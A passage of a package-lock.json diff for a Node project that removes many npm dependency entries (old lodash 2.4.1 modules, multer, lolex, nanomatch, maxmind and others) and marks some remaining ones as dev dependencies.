"2.4.1", +- "resolved": "https://registry.npmjs.org/lodash._basecreate/-/lodash._basecreate-2.4.1.tgz", +- "integrity": "sha1-+Ob1tXip405UEXm1a47uv0oofgg=", +- "dependencies": { +- "lodash._isnative": "~2.4.1", +- "lodash.isobject": "~2.4.1", +- "lodash.noop": "~2.4.1" +- } +- }, +- "node_modules/lodash._basecreatecallback": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash._basecreatecallback/-/lodash._basecreatecallback-2.4.1.tgz", +- "integrity": "sha1-fQsmdknLKeehOdAQO3wR+uhOSFE=", +- "dependencies": { +- "lodash._setbinddata": "~2.4.1", +- "lodash.bind": "~2.4.1", +- "lodash.identity": "~2.4.1", +- "lodash.support": "~2.4.1" +- } +- }, +- "node_modules/lodash._basecreatewrapper": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash._basecreatewrapper/-/lodash._basecreatewrapper-2.4.1.tgz", +- "integrity": "sha1-TTHy595+E0+/KAN2K4FQsyUZZm8=", +- "dependencies": { +- "lodash._basecreate": "~2.4.1", +- "lodash._setbinddata": "~2.4.1", +- "lodash._slice": "~2.4.1", +- "lodash.isobject": "~2.4.1" +- } +- }, +- "node_modules/lodash._createwrapper": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash._createwrapper/-/lodash._createwrapper-2.4.1.tgz", +- "integrity": "sha1-UdaVeXPaTtVW43KQ2MGhjFPeFgc=", +- "dependencies": { +- "lodash._basebind": "~2.4.1", +- "lodash._basecreatewrapper": "~2.4.1", +- "lodash._slice": "~2.4.1", +- "lodash.isfunction": "~2.4.1" +- } +- }, +- "node_modules/lodash._getarray": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash._getarray/-/lodash._getarray-2.4.1.tgz", +- "integrity": "sha1-+vH3+BD6mFolHCGHQESBCUg55e4=", +- "dependencies": { +- "lodash._arraypool": "~2.4.1" +- } +- }, +- "node_modules/lodash._isnative": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash._isnative/-/lodash._isnative-2.4.1.tgz", +- "integrity": "sha1-PqZAS3hKe+g2x7V1gOHN95sUgyw=" +- }, +- "node_modules/lodash._maxpoolsize": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash._maxpoolsize/-/lodash._maxpoolsize-2.4.1.tgz", +- "integrity": "sha1-nUgvRjuOZq++WcLBTtsRcGAXIzQ=" +- }, +- "node_modules/lodash._objecttypes": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash._objecttypes/-/lodash._objecttypes-2.4.1.tgz", +- "integrity": "sha1-fAt/admKH3ZSn4kLDNsbTf7BHBE=" +- }, + "node_modules/lodash._reinterpolate": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/lodash._reinterpolate/-/lodash._reinterpolate-3.0.0.tgz", + "integrity": "sha1-DM8tiRZq8Ds2Y8eWU4t1rG4RTZ0=", + "dev": true + }, +- "node_modules/lodash._releasearray": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash._releasearray/-/lodash._releasearray-2.4.1.tgz", +- "integrity": "sha1-phOWMNdtFTawfdyAliiJsIL2pkE=", +- "dependencies": { +- "lodash._arraypool": "~2.4.1", +- "lodash._maxpoolsize": "~2.4.1" +- } +- }, +- "node_modules/lodash._setbinddata": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash._setbinddata/-/lodash._setbinddata-2.4.1.tgz", +- "integrity": "sha1-98IAzRuS7yNrOZ7s9zxkjReqlNI=", +- "dependencies": { +- "lodash._isnative": "~2.4.1", +- "lodash.noop": "~2.4.1" +- } +- }, +- "node_modules/lodash._shimkeys": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash._shimkeys/-/lodash._shimkeys-2.4.1.tgz", +- "integrity": "sha1-bpzJZm/wgfC1psl4uD4kLmlJ0gM=", +- "dependencies": { +- "lodash._objecttypes": "~2.4.1" +- } +- }, +- "node_modules/lodash._slice": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash._slice/-/lodash._slice-2.4.1.tgz", +- "integrity": "sha1-dFz0GlNZexj2iImFREBe+isG2Q8=" +- }, +- "node_modules/lodash.assign": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash.assign/-/lodash.assign-2.4.1.tgz", +- "integrity": "sha1-hMOVlt1xGBqXsGUpE6fJZ15Jsao=", +- "dependencies": { +- "lodash._basecreatecallback": "~2.4.1", +- "lodash._objecttypes": "~2.4.1", +- "lodash.keys": "~2.4.1" +- } +- }, +- "node_modules/lodash.bind": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash.bind/-/lodash.bind-2.4.1.tgz", +- "integrity": "sha1-XRn6AFyMTSNvr0dCx7eh/Kvikmc=", +- "dependencies": { +- "lodash._createwrapper": "~2.4.1", +- "lodash._slice": "~2.4.1" +- } +- }, + "node_modules/lodash.camelcase": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/lodash.camelcase/-/lodash.camelcase-4.3.0.tgz", + "integrity": "sha1-soqmKIorn8ZRA1x3EfZathkDMaY=" + }, +- "node_modules/lodash.clonedeep": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash.clonedeep/-/lodash.clonedeep-2.4.1.tgz", +- "integrity": "sha1-8pIDtAsS/uCkXTYxZIJZvrq8eGg=", +- "dependencies": { +- "lodash._baseclone": "~2.4.1", +- "lodash._basecreatecallback": "~2.4.1" +- } +- }, + "node_modules/lodash.debounce": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz", +@@ -19893,25 +16277,6 @@ + "integrity": "sha1-+wMJF/hqMTTlvJvsDWngAT3f7bI=", + "dev": true + }, +- "node_modules/lodash.foreach": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash.foreach/-/lodash.foreach-2.4.1.tgz", +- "integrity": "sha1-/j/Do0yGyUyrb5UiVgKCdB4BYwk=", +- "dependencies": { +- "lodash._basecreatecallback": "~2.4.1", +- "lodash.forown": "~2.4.1" +- } +- }, +- "node_modules/lodash.forown": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash.forown/-/lodash.forown-2.4.1.tgz", +- "integrity": "sha1-eLQer+FAX6lmRZ6kGT/VAtCEUks=", +- "dependencies": { +- "lodash._basecreatecallback": "~2.4.1", +- "lodash._objecttypes": "~2.4.1", +- "lodash.keys": "~2.4.1" +- } +- }, + "node_modules/lodash.frompairs": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/lodash.frompairs/-/lodash.frompairs-4.0.1.tgz", +@@ -19928,11 +16293,6 @@ + "integrity": "sha1-0Z9NwQlQWMzL4rDN9O4P5Ko3yGI=", + "dev": true + }, +- "node_modules/lodash.identity": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash.identity/-/lodash.identity-2.4.1.tgz", +- "integrity": "sha1-ZpTP+mX++TH3wxzobHRZfPVg9PE=" +- }, + "node_modules/lodash.includes": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/lodash.includes/-/lodash.includes-4.3.0.tgz", +@@ -19943,14 +16303,6 @@ + "resolved": "https://registry.npmjs.org/lodash.isarguments/-/lodash.isarguments-3.1.0.tgz", + "integrity": "sha1-L1c9hcaiQon/AGY7SRwdM4/zRYo=" + }, +- "node_modules/lodash.isarray": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash.isarray/-/lodash.isarray-2.4.1.tgz", +- "integrity": "sha1-tSoybB9i9tfac6MdVAHfbvRPD6E=", +- "dependencies": { +- "lodash._isnative": "~2.4.1" +- } +- }, + "node_modules/lodash.isboolean": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/lodash.isboolean/-/lodash.isboolean-3.0.3.tgz", +@@ -19959,12 +16311,8 @@ + "node_modules/lodash.isequal": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/lodash.isequal/-/lodash.isequal-4.5.0.tgz", +- "integrity": "sha1-QVxEePK8wwEgwizhDtMib30+GOA=" +- }, +- "node_modules/lodash.isfunction": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash.isfunction/-/lodash.isfunction-2.4.1.tgz", +- "integrity": "sha1-LP1XXHPkmKtX4xm3f6Aq3vE6lNE=" ++ "integrity": "sha1-QVxEePK8wwEgwizhDtMib30+GOA=", ++ "dev": true + }, + "node_modules/lodash.isinteger": { + "version": "4.0.4", +@@ -19976,14 +16324,6 @@ + "resolved": "https://registry.npmjs.org/lodash.isnumber/-/lodash.isnumber-3.0.3.tgz", + "integrity": "sha1-POdoEMWSjQM1IwGsKHMX8RwLH/w=" + }, +- "node_modules/lodash.isobject": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash.isobject/-/lodash.isobject-2.4.1.tgz", +- "integrity": "sha1-Wi5H/mmVPx7mMafrof5k0tBlWPU=", +- "dependencies": { +- "lodash._objecttypes": "~2.4.1" +- } +- }, + "node_modules/lodash.isplainobject": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/lodash.isplainobject/-/lodash.isplainobject-4.0.6.tgz", +@@ -19994,16 +16334,6 @@ + "resolved": "https://registry.npmjs.org/lodash.isstring/-/lodash.isstring-4.0.1.tgz", + "integrity": "sha1-1SfftUVuynzJu5XV2ur4i6VKVFE=" + }, +- "node_modules/lodash.keys": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash.keys/-/lodash.keys-2.4.1.tgz", +- "integrity": "sha1-SN6kbfj/djKxDXBrissmWR4rNyc=", +- "dependencies": { +- "lodash._isnative": "~2.4.1", +- "lodash._shimkeys": "~2.4.1", +- "lodash.isobject": "~2.4.1" +- } +- }, + "node_modules/lodash.memoize": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/lodash.memoize/-/lodash.memoize-4.1.2.tgz", +@@ -20016,11 +16346,6 @@ + "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", + "dev": true + }, +- "node_modules/lodash.noop": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash.noop/-/lodash.noop-2.4.1.tgz", +- "integrity": "sha1-T7VPgWZS5a4Q6PcvcXo4jHMmU4o=" +- }, + "node_modules/lodash.omit": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/lodash.omit/-/lodash.omit-4.5.0.tgz", +@@ -20047,7 +16372,8 @@ + "node_modules/lodash.set": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/lodash.set/-/lodash.set-4.3.2.tgz", +- "integrity": "sha1-2HV7HagH3eJIFrDWqEvqGnYjCyM=" ++ "integrity": "sha1-2HV7HagH3eJIFrDWqEvqGnYjCyM=", ++ "dev": true + }, + "node_modules/lodash.sortby": { + "version": "4.7.0", +@@ -20055,14 +16381,6 @@ + "integrity": "sha1-7dFMgk4sycHgsKG0K7UhBRakJDg=", + "dev": true + }, +- "node_modules/lodash.support": { +- "version": "2.4.1", +- "resolved": "https://registry.npmjs.org/lodash.support/-/lodash.support-2.4.1.tgz", +- "integrity": "sha1-Mg4LZwMWc8KNeiu12eAzGkUkBRU=", +- "dependencies": { +- "lodash._isnative": "~2.4.1" +- } +- }, + "node_modules/lodash.template": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/lodash.template/-/lodash.template-4.5.0.tgz", +@@ -20242,16 +16560,6 @@ + "node": ">=8.0" + } + }, +- "node_modules/lolex": { +- "version": "6.0.0", +- "resolved": "https://registry.npmjs.org/lolex/-/lolex-6.0.0.tgz", +- "integrity": "sha512-ad9IBHbfVJ3bPAotDxnCgJgKcNK5/mrRAfbJzXhY5+PEmuBWP7wyHQlA6L8TfSfPlqlDjY4K7IG6mbzsrIBx1A==", +- "deprecated": "lolex has been renamed to @sinonjs/fake-timers. No API changes made. Please use the new package instead", +- "dev": true, +- "dependencies": { +- "@sinonjs/commons": "^1.7.0" +- } +- }, + "node_modules/long": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/long/-/long-4.0.0.tgz", +@@ -20286,14 +16594,6 @@ + "tslib": "^2.0.3" + } + }, +- "node_modules/lowercase-keys": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-1.0.1.tgz", +- "integrity": "sha512-G2Lj61tXDnVFFOi8VZds+SoQjtQC3dgokKdDG2mTm1tx4m50NUHBOZSBwQQHyy0V12A0JTG4icfZQH+xPyh8VA==", +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/lru_map": { + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/lru_map/-/lru_map-0.3.3.tgz", +@@ -20342,15 +16642,6 @@ + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==" + }, +- "node_modules/lru-queue": { +- "version": "0.1.0", +- "resolved": "https://registry.npmjs.org/lru-queue/-/lru-queue-0.1.0.tgz", +- "integrity": "sha1-Jzi9nw089PhEkMVzbEhpmsYyzaM=", +- "dev": true, +- "dependencies": { +- "es5-ext": "~0.10.2" +- } +- }, + "node_modules/lz-string": { + "version": "1.4.4", + "resolved": "https://registry.npmjs.org/lz-string/-/lz-string-1.4.4.tgz", +@@ -20476,22 +16767,6 @@ + "semver": "bin/semver" + } + }, +- "node_modules/make-error": { +- "version": "1.3.6", +- "resolved": "https://registry.npmjs.org/make-error/-/make-error-1.3.6.tgz", +- "integrity": "sha512-s8UhlNe7vPKomQhC1qFelMokr/Sc3AgNbso3n74mVPA5LTZwkB9NlXf4XPamLxJE8h0gh73rM94xvwRT2CVInw==" +- }, +- "node_modules/make-iterator": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/make-iterator/-/make-iterator-1.0.1.tgz", +- "integrity": "sha512-pxiuXh0iVEq7VM7KMIhs5gxsfxCux2URptUQaXo4iZZJxBAzTPOLE2BumO5dbfVYq/hBJFBR/a1mFDmOx5AGmw==", +- "dependencies": { +- "kind-of": "^6.0.2" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/mandrill-api": { + "version": "1.0.45", + "resolved": "https://registry.npmjs.org/mandrill-api/-/mandrill-api-1.0.45.tgz", +@@ -20501,33 +16776,6 @@ + "node": "*" + } + }, +- "node_modules/map-cache": { +- "version": "0.2.2", +- "resolved": "https://registry.npmjs.org/map-cache/-/map-cache-0.2.2.tgz", +- "integrity": "sha1-wyq9C9ZSXZsFFkW7TyasXcmKDb8=", +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/map-obj": { +- "version": "2.0.0", +- "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-2.0.0.tgz", +- "integrity": "sha1-plzSkIepJZi4eRJXpSPgISIqwfk=", +- "engines": { +- "node": ">=4" +- } +- }, +- "node_modules/map-visit": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/map-visit/-/map-visit-1.0.0.tgz", +- "integrity": "sha1-7Nyo8TFE5mDxtb1B8S80edmN+48=", +- "dependencies": { +- "object-visit": "^1.0.0" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, + "node_modules/markdown-it": { + "version": "12.3.2", + "resolved": "https://registry.npmjs.org/markdown-it/-/markdown-it-12.3.2.tgz", +@@ -20688,19 +16936,6 @@ + "resolved": "https://registry.npmjs.org/mathjax/-/mathjax-2.7.9.tgz", + "integrity": "sha512-NOGEDTIM9+MrsqnjPEjVGNx4q0GQxqm61yQwSK+/5S59i26wId5IC5gNu9/bu8+CCVl5p9G2IHcAl/wJa+5+BQ==" + }, +- "node_modules/maxmind": { +- "version": "4.3.6", +- "resolved": "https://registry.npmjs.org/maxmind/-/maxmind-4.3.6.tgz", +- "integrity": "sha512-CwnEZqJX0T6b2rWrc0/V3n9hL/hWAMEn7fY09077YJUHiHx7cn/esA2ZIz8BpYLSJUf7cGVel0oUJa9jMwyQpg==", +- "dependencies": { +- "mmdb-lib": "2.0.2", +- "tiny-lru": "8.0.2" +- }, +- "engines": { +- "node": ">=10", +- "npm": ">=6" +- } +- }, + "node_modules/mdurl": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/mdurl/-/mdurl-1.0.1.tgz", +@@ -20732,28 +16967,6 @@ + "resolved": "https://registry.npmjs.org/memoize-one/-/memoize-one-5.2.1.tgz", + "integrity": "sha512-zYiwtZUcYyXKo/np96AGZAckk+FWWsUdJ3cHGGmld7+AhvcWmQyGCYUh1hc4Q/pkOhb65dQR/pqCyK0cOaHz4Q==" + }, +- "node_modules/memoizee": { +- "version": "0.4.15", +- "resolved": "https://registry.npmjs.org/memoizee/-/memoizee-0.4.15.tgz", +- "integrity": "sha512-UBWmJpLZd5STPm7PMUlOw/TSy972M+z8gcyQ5veOnSDRREz/0bmpyTfKt3/51DhEBqCZQn1udM/5flcSPYhkdQ==", +- "dev": true, +- "dependencies": { +- "d": "^1.0.1", +- "es5-ext": "^0.10.53", +- "es6-weak-map": "^2.0.3", +- "event-emitter": "^0.3.5", +- "is-promise": "^2.2.2", +- "lru-queue": "^0.1.0", +- "next-tick": "^1.1.0", +- "timers-ext": "^0.1.7" +- } +- }, +- "node_modules/memoizee/node_modules/next-tick": { +- "version": "1.1.0", +- "resolved": "https://registry.npmjs.org/next-tick/-/next-tick-1.1.0.tgz", +- "integrity": "sha512-CXdUiJembsNjuToQvxayPZF9Vqht7hewsvy2sOWafLvi2awflj9mOC6bHIg50orX8IJvWKY9wYQ/zB2kogPslQ==", +- "dev": true +- }, + "node_modules/memory-pager": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/memory-pager/-/memory-pager-1.5.0.tgz", +@@ -20910,14 +17123,6 @@ + "node": ">=6" + } + }, +- "node_modules/mimic-response": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-1.0.1.tgz", +- "integrity": "sha512-j5EctnkH7amfV/q5Hgmoal1g2QHFJRraOtmx0JpIqkxhBhI/lJSl1nMpQ45hVarwNETOoWEimndZ4QK0RHxuxQ==", +- "engines": { +- "node": ">=4" +- } +- }, + "node_modules/min-document": { + "version": "2.19.0", + "resolved": "https://registry.npmjs.org/min-document/-/min-document-2.19.0.tgz", +@@ -20981,14 +17186,11 @@ + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==" + }, +- "node_modules/mirror_documentation": { +- "resolved": "jobs/mirror-documentation", +- "link": true +- }, + "node_modules/mixin-deep": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/mixin-deep/-/mixin-deep-1.3.2.tgz", + "integrity": "sha512-WRoDn//mXBiJ1H40rqa3vH0toePwSsGb45iInWlTySa+Uu4k3tYUSxa2v1KqAiLtvlrSzaExqS1gtk96A9zvEA==", ++ "dev": true, + "dependencies": { + "for-in": "^1.0.2", + "is-extendable": "^1.0.1" +@@ -21001,6 +17203,7 @@ + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", + "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", ++ "dev": true, + "dependencies": { + "is-plain-object": "^2.0.4" + }, +@@ -21008,25 +17211,6 @@ + "node": ">=0.10.0" + } + }, +- "node_modules/mixme": { +- "version": "0.5.4", +- "resolved": "https://registry.npmjs.org/mixme/-/mixme-0.5.4.tgz", +- "integrity": "sha512-3KYa4m4Vlqx98GPdOHghxSdNtTvcP8E0kkaJ5Dlh+h2DRzF7zpuVVcA8B0QpKd11YJeP9QQ7ASkKzOeu195Wzw==", +- "engines": { +- "node": ">= 8.0.0" +- } +- }, +- "node_modules/mixpanel": { +- "version": "0.13.0", +- "resolved": "https://registry.npmjs.org/mixpanel/-/mixpanel-0.13.0.tgz", +- "integrity": "sha512-YOWmpr/o4+zJ8LPjuLUkWLc2ImFeIkX6hF1t62Wlvq6loC6e8EK8qieYO4gYPTPxxtjAryl7xmIvf/7qnPwjrQ==", +- "dependencies": { +- "https-proxy-agent": "5.0.0" +- }, +- "engines": { +- "node": ">=10.0" +- } +- }, + "node_modules/mkdirp": { + "version": "0.5.1", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.1.tgz", +@@ -21050,15 +17234,6 @@ + "integrity": "sha512-xOE9xbICroUDmG1ye2h4bZ8WBie9EGmACaco8K8cx6RlkJJrxGIqjGqztAI+NMhexXBcdGbSEzI6N3EJPevxZw==", + "dev": true + }, +- "node_modules/mmdb-lib": { +- "version": "2.0.2", +- "resolved": "https://registry.npmjs.org/mmdb-lib/-/mmdb-lib-2.0.2.tgz", +- "integrity": "sha512-shi1I+fCPQonhTi7qyb6hr7hi87R7YS69FlfJiMFuJ12+grx0JyL56gLNzGTYXPU7EhAPkMLliGeyHer0K+AVA==", +- "engines": { +- "node": ">=10", +- "npm": ">=6" +- } +- }, + "node_modules/mmmagic": { + "version": "0.5.3", + "resolved": "https://registry.npmjs.org/mmmagic/-/mmmagic-0.5.3.tgz", +@@ -21541,81 +17716,6 @@ + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==" + }, +- "node_modules/multer": { +- "version": "1.4.4", +- "resolved": "https://registry.npmjs.org/multer/-/multer-1.4.4.tgz", +- "integrity": "sha512-2wY2+xD4udX612aMqMcB8Ws2Voq6NIUPEtD1be6m411T4uDH/VtL9i//xvcyFlTVfRdaBsk7hV5tgrGQqhuBiw==", +- "dependencies": { +- "append-field": "^1.0.0", +- "busboy": "^0.2.11", +- "concat-stream": "^1.5.2", +- "mkdirp": "^0.5.4", +- "object-assign": "^4.1.1", +- "on-finished": "^2.3.0", +- "type-is": "^1.6.4", +- "xtend": "^4.0.0" +- }, +- "engines": { +- "node": ">= 0.10.0" +- } +- }, +- "node_modules/multer/node_modules/concat-stream": { +- "version": "1.6.2", +- "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz", +- "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==", +- "engines": [ +- "node >= 0.8" +- ], +- "dependencies": { +- "buffer-from": "^1.0.0", +- "inherits": "^2.0.3", +- "readable-stream": "^2.2.2", +- "typedarray": "^0.0.6" +- } +- }, +- "node_modules/multer/node_modules/isarray": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", +- "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" +- }, +- "node_modules/multer/node_modules/minimist": { +- "version": "1.2.5", +- "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz", +- "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==" +- }, +- "node_modules/multer/node_modules/mkdirp": { +- "version": "0.5.5", +- "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz", +- "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==", +- "dependencies": { +- "minimist": "^1.2.5" +- }, +- "bin": { +- "mkdirp": "bin/cmd.js" +- } +- }, +- "node_modules/multer/node_modules/readable-stream": { +- "version": "2.3.7", +- "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", +- "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", +- "dependencies": { +- "core-util-is": "~1.0.0", +- "inherits": "~2.0.3", +- "isarray": "~1.0.0", +- "process-nextick-args": "~2.0.0", +- "safe-buffer": "~5.1.1", +- "string_decoder": "~1.1.1", +- "util-deprecate": "~1.0.1" +- } +- }, +- "node_modules/multer/node_modules/string_decoder": { +- "version": "1.1.1", +- "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", +- "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", +- "dependencies": { +- "safe-buffer": "~5.1.0" +- } +- }, + "node_modules/multicast-dns": { + "version": "6.2.3", + "resolved": "https://registry.npmjs.org/multicast-dns/-/multicast-dns-6.2.3.tgz", +@@ -21635,11 +17735,6 @@ + "integrity": "sha1-iZ8R2WhuXgXLkbNdXw5jt3PPyQE=", + "devOptional": true + }, +- "node_modules/mute-stream": { +- "version": "0.0.8", +- "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.8.tgz", +- "integrity": "sha512-nnbWWOkoWyUsTjKrhgD0dcz22mdkSnpYqbEjIm2nhwhuxlSkpywJmBo8h0ZqJdkp73mb90SssHkN4rsRaBAfAA==" +- }, + "node_modules/mv": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/mv/-/mv-2.1.1.tgz", +@@ -21709,55 +17804,6 @@ + "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1" + } + }, +- "node_modules/nanomatch": { +- "version": "1.2.13", +- "resolved": "https://registry.npmjs.org/nanomatch/-/nanomatch-1.2.13.tgz", +- "integrity": "sha512-fpoe2T0RbHwBTBUOftAfBPaDEi06ufaUai0mE6Yn1kacc3SnTErfb/h+X94VXzI64rKFHYImXSvdwGGCmwOqCA==", +- "dependencies": { +- "arr-diff": "^4.0.0", +- "array-unique": "^0.3.2", +- "define-property": "^2.0.2", +- "extend-shallow": "^3.0.2", +- "fragment-cache": "^0.2.1", +- "is-windows": "^1.0.2", +- "kind-of": "^6.0.2", +- "object.pick": "^1.3.0", +- "regex-not": "^1.0.0", +- "snapdragon": "^0.8.1", +- "to-regex": "^3.0.1" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/nanomatch/node_modules/extend-shallow": { +- "version": "3.0.2", +- "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz", +- "integrity": "sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=", +- "dependencies": { +- "assign-symbols": "^1.0.0", +- "is-extendable": "^1.0.1" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/nanomatch/node_modules/is-extendable": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", +- "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", +- "dependencies": { +- "is-plain-object": "^2.0.4" +- }, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/native-promise-only": { +- "version": "0.8.1", +- "resolved": "https://registry.npmjs.org/native-promise-only/-/native-promise-only-0.8.1.tgz", +- "integrity": "sha1-IKMYwwy0X3H+et+/eyHJnBRy7xE=" +- }, + "node_modules/native-request": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/native-request/-/native-request-1.1.0.tgz", +@@ -21877,43 +17923,6 @@ + "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-3.2.1.tgz", + "integrity": "sha512-mmcei9JghVNDYydghQmeDX8KoAm0FAiYyIcUt/N4nhyAipB17pllZQDOJD2fotxABnt4Mdz+dKTO7eftLg4d0A==" + }, +- "node_modules/node-domexception": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/node-domexception/-/node-domexception-1.0.0.tgz", +- "integrity": "sha512-/jKZoMpw0F8GRwl4/eLROPA3cfcXtLApP0QzLmUT/HuPCZWyB7IY9ZrMeKw2O/nFIqPQB3PVM9aYm0F312AXDQ==", +- "funding": [ +- { +- "type": "github", +- "url": "https://github.com/sponsors/jimmywarting" +- }, +- { +- "type": "github", +- "url": "https://paypal.me/jimmywarting" +- } +- ], +- "engines": { +- "node": ">=10.5.0" +- } +- }, +- "node_modules/node-environment-flags": { +- "version": "1.0.5", +- "resolved": "https://registry.npmjs.org/node-environment-flags/-/node-environment-flags-1.0.5.tgz", +- "integrity": "sha512-VNYPRfGfmZLx0Ye20jWzHUjyTW/c+6Wq+iLhDzUI4XmhrDd9l/FozXV3F2xOaXjvp0co0+v1YSR3CMP6g+VvLQ==", +- "dev": true, +- "dependencies": { +- "object.getownpropertydescriptors": "^2.0.3", +- "semver": "^5.7.0" +- } +- }, +- "node_modules/node-environment-flags/node_modules/semver": { +- "version": "5.7.1", +- "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", +- "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", +- "dev": true, +- "bin": { +- "semver": "bin/semver" +- } 